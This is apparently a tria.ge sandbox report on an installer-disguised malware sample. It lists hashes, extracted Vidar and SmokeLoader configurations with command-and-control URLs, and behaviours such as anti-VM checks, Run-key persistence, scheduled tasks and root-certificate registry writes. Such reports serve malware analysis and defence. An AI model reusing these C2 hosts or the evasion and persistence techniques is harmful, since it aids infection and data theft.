Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows11_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10Resubmissions
02/12/2021, 07:35
211202-je6zgsfge4 1010/09/2021, 20:31
210910-za2rzaaeh3 1010/09/2021, 19:40
210910-ydvmdsdffp 1010/09/2021, 12:06
210910-n9s4bsdbep 1010/09/2021, 05:37
210910-gbjcxahdh2 1009/09/2021, 22:16
210909-17av7aghb7 1009/09/2021, 22:12
210909-14mqksgha9 1009/09/2021, 22:12
210909-14l42sgha8 1009/09/2021, 22:11
210909-14e1qsgha7 1009/09/2021, 22:11
210909-138lnacacn 10Analysis
-
max time kernel
62s -
max time network
1814s -
platform
windows7_x64 -
resource
win7-fr -
submitted
09/09/2021, 22:16
Static task
static1
Behavioral task
behavioral1
Sample
setup_x86_x64_install.exe
Resource
win7-jp
Behavioral task
behavioral2
Sample
setup_x86_x64_install.exe
Resource
win7-fr
Behavioral task
behavioral3
Sample
setup_x86_x64_install.exe
Resource
win7v20210408
Behavioral task
behavioral4
Sample
setup_x86_x64_install.exe
Resource
win7-de
Behavioral task
behavioral5
Sample
setup_x86_x64_install.exe
Resource
win11
Behavioral task
behavioral6
Sample
setup_x86_x64_install.exe
Resource
win10v20210408
Behavioral task
behavioral7
Sample
setup_x86_x64_install.exe
Resource
win10-jp
Behavioral task
behavioral8
Sample
setup_x86_x64_install.exe
Resource
win10-fr
Behavioral task
behavioral9
Sample
setup_x86_x64_install.exe
Resource
win10-en
Behavioral task
behavioral10
Sample
setup_x86_x64_install.exe
Resource
win10-de
General
-
Target
setup_x86_x64_install.exe
-
Size
4.3MB
-
MD5
6d18c8e8ab9051f7a70b89ff7bb0ec35
-
SHA1
265311e2afd9f59e824f4b77162cf3dfa278eb7e
-
SHA256
8fe6c86b038ce91a991fe6eb8a9b323bb37b554ff6b4e5c18de3fe52d4aedf6d
-
SHA512
249bf79dc90d4662b942c7eed2a7b7816b749f6d5f7bc190bba05f826fa143d0b44f58054d8649b8626884c5fcbd1cea8abd625dc701d44b7aaac84fc74e47ff
Malware Config
Extracted
vidar
40.5
706
https://gheorghip.tumblr.com/
-
profile_id
706
Extracted
smokeloader
2020
http://varmisende.com/upload/
http://fernandomayol.com/upload/
http://nextlytm.com/upload/
http://people4jan.com/upload/
http://asfaltwerk.com/upload/
Signatures
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2660 1532 rundll32.exe 12 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1552 1532 rundll32.exe 12 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2308 1532 rundll32.exe 12 -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 3 IoCs
resource yara_rule behavioral2/files/0x0001000000012f1d-94.dat family_socelars behavioral2/files/0x0001000000012f1d-127.dat family_socelars behavioral2/files/0x0001000000012f1d-140.dat family_socelars -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
resource yara_rule behavioral2/memory/1696-203-0x00000000031F0000-0x00000000032C1000-memory.dmp family_vidar behavioral2/memory/1696-206-0x0000000000400000-0x0000000002BC5000-memory.dmp family_vidar -
resource yara_rule behavioral2/files/0x0001000000012f10-69.dat aspack_v212_v242 behavioral2/files/0x0002000000012f0a-72.dat aspack_v212_v242 behavioral2/files/0x0001000000012f10-70.dat aspack_v212_v242 behavioral2/files/0x0002000000012f0a-71.dat aspack_v212_v242 behavioral2/files/0x0001000000012f12-75.dat aspack_v212_v242 behavioral2/files/0x0001000000012f12-76.dat aspack_v212_v242 -
Blocklisted process makes network request 2 IoCs
flow pid Process 12 1920 cmd.exe 29 1588 schtasks.exe -
Downloads MZ/PE file
-
Executes dropped EXE 36 IoCs
pid Process 1744 setup_installer.exe 1388 setup_install.exe 1636 Thu219d5fe8cf316.exe 648 Thu21b93295136197.exe 2016 Thu21a1ef054cac78a.exe 1696 Thu214ce31cede21.exe 796 setup_2.exe 1588 Thu21df5caa1b78de6.exe 1708 Thu21b9847cb6727.exe 1824 Thu214aaca5625.exe 1544 Thu2156de5489c19.exe 1920 cmd.exe 1784 Thu21b93295136197.tmp 1440 Thu214aaca5625.tmp 2728 46807GHF____.exe 2804 Setup.exe 2128 LzmwAqmV.exe 2180 5784452.exe 1704 3522718.exe 2264 Chrome 5.exe 1276 WinHoster.exe 2756 PublicDwlBrowser1100.exe 2920 conhost.exe 2908 2.exe 1892 setup.exe 3016 2179662.exe 1304 udptest.exe 2464 DVORAK.exe 1936 Thu2164f292a11ce.exe 796 setup_2.exe 2380 3002.exe 1000 setup_2.tmp 1624 7386708.exe 1012 setup_2.exe 2904 3002.exe 2456 jhuuee.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion conhost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion conhost.exe -
Loads dropped DLL 64 IoCs
pid Process 1972 setup_x86_x64_install.exe 1744 setup_installer.exe 1744 setup_installer.exe 1744 setup_installer.exe 1744 setup_installer.exe 1744 setup_installer.exe 1744 setup_installer.exe 1388 setup_install.exe 1388 setup_install.exe 1388 setup_install.exe 1388 setup_install.exe 1388 setup_install.exe 1388 setup_install.exe 1388 setup_install.exe 1388 setup_install.exe 1872 cmd.exe 516 cmd.exe 432 cmd.exe 648 Thu21b93295136197.exe 648 Thu21b93295136197.exe 1104 cmd.exe 1104 cmd.exe 1236 cmd.exe 1832 cmd.exe 1236 cmd.exe 1452 cmd.exe 1696 Thu214ce31cede21.exe 1696 Thu214ce31cede21.exe 1656 cmd.exe 1588 Thu21df5caa1b78de6.exe 1588 Thu21df5caa1b78de6.exe 596 cmd.exe 1604 Process not Found 1824 Thu214aaca5625.exe 1824 Thu214aaca5625.exe 648 Thu21b93295136197.exe 1920 cmd.exe 1920 cmd.exe 1824 Thu214aaca5625.exe 1440 Thu214aaca5625.tmp 1440 Thu214aaca5625.tmp 2016 Thu21a1ef054cac78a.exe 2016 Thu21a1ef054cac78a.exe 1784 Thu21b93295136197.tmp 1784 Thu21b93295136197.tmp 1440 Thu214aaca5625.tmp 1784 Thu21b93295136197.tmp 1440 Thu214aaca5625.tmp 2672 rundll32.exe 2672 rundll32.exe 2672 rundll32.exe 2672 rundll32.exe 1784 Thu21b93295136197.tmp 2804 Setup.exe 2128 LzmwAqmV.exe 2128 LzmwAqmV.exe 1704 3522718.exe 1704 3522718.exe 2128 LzmwAqmV.exe 1704 3522718.exe 2128 LzmwAqmV.exe 1276 WinHoster.exe 1276 WinHoster.exe 2128 LzmwAqmV.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 3522718.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Setup.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 279 api.2ip.ua 11 ipinfo.io 16 ipinfo.io 17 ip-api.com 277 api.2ip.ua -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 2920 conhost.exe -
Drops file in Program Files directory 3 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe Setup.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe Setup.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\Visit.url Setup.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 5 IoCs
pid pid_target Process procid_target 2736 1696 WerFault.exe 45 3464 2464 WerFault.exe 88 3312 2872 WerFault.exe 102 2480 2180 WerFault.exe 71 2196 480 WerFault.exe 110 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3308 schtasks.exe 1588 schtasks.exe 3280 schtasks.exe -
Kills process with taskkill 4 IoCs
pid Process 2984 taskkill.exe 1692 taskkill.exe 2768 taskkill.exe 3504 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{1FB46F21-11BD-11EC-B397-7E71B1F3B5BA} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 Thu21a1ef054cac78a.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde Thu21a1ef054cac78a.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 Thu21a1ef054cac78a.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C Thu21b93295136197.tmp Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 Thu21b93295136197.tmp Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Thu214ce31cede21.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C Thu21a1ef054cac78a.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802020f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 Thu21a1ef054cac78a.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Thu214ce31cede21.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d